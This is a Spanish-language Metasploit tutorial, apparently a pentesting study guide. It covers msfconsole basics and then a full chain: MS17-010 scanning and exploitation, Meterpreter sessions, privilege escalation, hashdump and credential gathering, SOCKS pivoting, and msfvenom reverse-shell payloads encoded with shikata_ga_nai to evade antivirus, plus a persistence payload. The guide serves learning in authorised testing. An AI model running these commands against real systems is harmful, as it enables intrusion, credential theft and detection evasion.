Hoy vamos a sumergirnos de lleno en el fascinante mundo de Metasploit Framework, esa navaja suiza del pentesting que nos permite descubrir, explotar y profundizar en vulnerabilidades de forma modular. A lo largo de esta guía, reformularé cada concepto de la guía original, adaptándolo a un estilo conversacional y práctico, ¡pero sin perder ni un ápice de detalle!
Secciones
1. Primeros pasos con MSFconsole
MSFconsole es la interfaz principal de Metasploit. Arranca con msfconsole
en tu terminal (o msfconsole -q
para un inicio silencioso). Verás algo así:
davidalvk@maquina$ msfconsole
=[ metasploit v6.x.x ]=
+ -- --=[ exploits: 2000 | auxiliary: 1200 | post: 400 ]
+ -- --=[ payloads: 600 | encoders: 50 | nops: 10 ]
+ -- --=[ evasion: 10 ]
msf6 >
Una vez dentro, estos son los comandos básicos que debes conocer:
Comando | Descripción |
---|---|
show exploits | Lista todos los exploits disponibles. |
show payloads | Muestra las cargas útiles (payloads). |
show auxiliary | Despliega módulos auxiliares (fuzzing, escaneo, etc.). |
search <término> | Busca módulos por nombre, CVE, autor, etc. |
info <módulo> | Detalles completos de un módulo. |
use <módulo o índice> | Carga el módulo deseado. |
show options | Lista las opciones de configuración de un módulo activo. |
set <opción> <valor> | Asigna valores a RHOSTS, LHOST, RPORT, payload, etc. |
setg <opción> <valor> | Asigna valores globales persistentes. |
exploit (o run ) | Ejecuta el ataque. |
sessions -l | Enumera sesiones activas (shells/Meterpreter). |
sessions -i <id> | Interactúa con la sesión especificada. |
2. Navegando la estructura de Metasploit
El código fuente de Metasploit suele instalarse en /usr/share/metasploit-framework
. Ahí encontrarás carpetas clave:
- modules/: todos los módulos (auxiliary, encoders, exploits, nops, payloads, post).
- plugins/: scripts para ampliar msfconsole.
- scripts/: utilidades en Ruby o Python para tareas específicas.
- tools/: herramientas de línea de comandos auxiliares.
Este árbol de directorios es tu mapa: cuando quieras personalizar o crear módulos, sabrás dónde buscar.
3. Módulos: Exploit, Auxiliar, Payload, Encoder y Post
3.1. Exploits
Los exploits son scripts que aprovechan vulnerabilidades concretas. Ejemplo:
msf6 > search ms17_010
Mostrará resultados como:
0 exploit/windows/smb/ms17_010_psexec normal Yes MS17-010 EternalRomance...
Para cargarlo:
msf6 > use exploit/windows/smb/ms17_010_psexec
msf6 exploit(windows/smb/ms17_010_psexec) > show options
Esto revela parámetros obligatorios:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes IP(s) objetivo
RPORT 445 yes Puerto destino (TCP)
...payload options...
3.2. Payloads
Son los trozos de código que ejecutan acciones en el sistema blanco. Por ejemplo windows/meterpreter/reverse_tcp
:
LHOST 10.10.14.15 yes Dirección local para el reverse shell
LPORT 4444 yes Puerto a escuchar
3.3. Auxiliares
Módulos para tareas previas o complementarias: escaneo, fuzzing, dumping de credenciales, etc.
msf6 > use auxiliary/scanner/smb/smb_ms17_010
3.4. Encoders y NOPs
Herramientas para transformar payloads y mantener tamaños constantes, cruciales para evadir firmas.
3.5. Post-explotación
Scripts para profundizar tras el acceso: recolección de datos, captura de pulsaciones, pivoteo, etc.
meterpreter> run post/windows/gather/credentials
4. Configurando objetivos y persistencia de opciones
Antes de lanzar un exploit, asegúrate de fijar correctamente tus objetivos y puertos:
msf6 > use exploit/windows/smb/ms17_010_psexec
msf6 exploit(windows/smb/ms17_010_psexec) > show options
Verás parámetros como RHOSTS
y RPORT
. Para asignarlos:
msf6 exploit(...)> set RHOSTS 192.168.1.10
msf6 exploit(...)> set RPORT 445
Si vas a repetir estos valores en varios módulos, usa setg
para que sean globales:
msf6 > setg RHOSTS 192.168.1.0/24
msf6 > setg THREADS 10
De este modo, no tendrás que reconfigurar cada módulo individualmente.
5. Ejecutando exploits y manejando sesiones
Para lanzar el ataque puedes usar exploit
o run
(idénticos):
msf6 exploit(...)> exploit
Cuando el exploit tiene éxito, verás un mensaje como:
[*] Started reverse TCP handler on 10.10.14.15:4444
[*] Sending exploit payload...
[*] Meterpreter session 1 opened (10.10.14.15:4444 -> 192.168.1.10:49158)
Lista sesiones activas con:
msf6 > sessions -l
E interactúa con una sesión:
msf6 > sessions -i 1
meterpreter>
Ahora tienes un shell interactivo bajo Meterpreter.
6. Escalada de privilegios y reconocimiento interno
Una vez dentro, el siguiente paso es elevar privilegios y mapear la red interna. Con Meterpreter, usa módulos de post-explotación:
meterpreter> run post/windows/escalate/getsystem
Para identificar usuarios y privilegios:
meterpreter> sysinfo
meterpreter> getuid
Y para volcar credenciales del sistema:
meterpreter> run post/windows/gather/credentials/windows_autologin
meterpreter> run post/windows/gather/hashdump
También puedes pivotar a otras máquinas creando túneles SOCKS:
msf6 > use auxiliary/server/socks4a
msf6 auxiliary(socks4a) > set SRVPORT 1080
msf6 auxiliary(socks4a) > run
Configura tu proxychains apuntando a 127.0.0.1:1080
y navega por la red interna.
7. Creando payloads con MSFVenom
MSFVenom combina las antiguas utilidades msfpayload
y msfencode
en una sola herramienta versátil para generar y transformar cargas útiles. De forma general, utilizamos:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.15 LPORT=4444 -f exe -o shell.exe
7.1. Parámetros clave de MSFVenom
-p <payload>
: especifica el payload (por ejemplowindows/meterpreter/reverse_tcp
).LHOST=<IP>
yLPORT=<puerto>
: establecen la dirección y puerto donde escuchará la conexión inversa.-f <formato>
: define el tipo de archivo de salida (exe, elf, raw, python, dll, vbs, etc.).-o <archivo>
: ruta y nombre del fichero generado.-b <caracteres>
: bad characters, secuencia de bytes a evitar dentro del shellcode.-e <encoder>
: encoder para ofuscar el payload (por ejemplox86/shikata_ga_nai
).-i <iteraciones>
: número de pasadas del encoder, incrementa la entropía del binario.
7.2. Ofuscación con x86/shikata_ga_nai
Uno de los encoders más populares es Shikata Ga Nai, un encoder polimórfico basado en XOR con retroalimentación. Sus características:
- Polimórfico: cada pasada genera un bloque distinto, cambiando la clave XOR y reubicando secciones de código.
- Iterativo: al emplear
-i <n>
, se aplica el algoritmon
veces, aumentando la ofuscación. Por ejemplo:msfvenom -p windows/meterpreter/reverse_tcp \ LHOST=10.10.14.15 LPORT=4444 \ -e x86/shikata_ga_nai -i 5 \ -f exe -o shell_obfuscated.exe
- Evitación de firmas: al variar el shellcode, resulta más difícil para sistemas IDS/IPS y antivirus reconocer patrones estáticos.
- Tamaño: cada iteración añade bytes de sobrecarga (headers y tablas), así que conviene medir el resultado:
ls -lh shell.exe shell_obfuscated.exe
Si el binario crece demasiado, ajusta el número de iteraciones o combina con formatos más compactos.
7.3. Buenas prácticas al usar encoders
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.15 LPORT=4444 -b "\x00\x0a" -e x86/shikata_ga_nai -i 3 -f raw > shell.bin
-b "\x00\x0a"
excluye el byte nulo (x00) y el salto de línea (x0a).-e x86/shikata_ga_nai
aplica el encoder Shikata Ga Nai.-i 3
especifica 3 iteraciones para aumentar la ofuscación.
8. Ejemplo completo: de escaneo a shell
Vamos a unir todo en un flujo práctico:
- Escaneo: descubre hosts con SMB vulnerable.
msf6 > use auxiliary/scanner/smb/smb_ms17_010 msf6 auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.0/24 msf6 auxiliary(smb_ms17_010) > run
- Exploit: carga y configura el módulo
ms17_010_psexec
.
msf6 > use exploit/windows/smb/ms17_010_psexec msf6 exploit(...)> set RHOSTS 192.168.1.55 msf6 exploit(...)> set LHOST 10.10.14.15 msf6 exploit(...)> run
- Sesión Meterpreter: interactúa y eleva privilegios.
msf6 > sessions -i 1 meterpreter> run post/windows/escalate/getsystem
- Post-explotación: recolecta credenciales.
meterpreter> run post/windows/gather/hashdump
- Persistencia: genera un payload con persistencia usando MSFVenom.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.15 LPORT=4444 \ -f vbs -o persist.vbs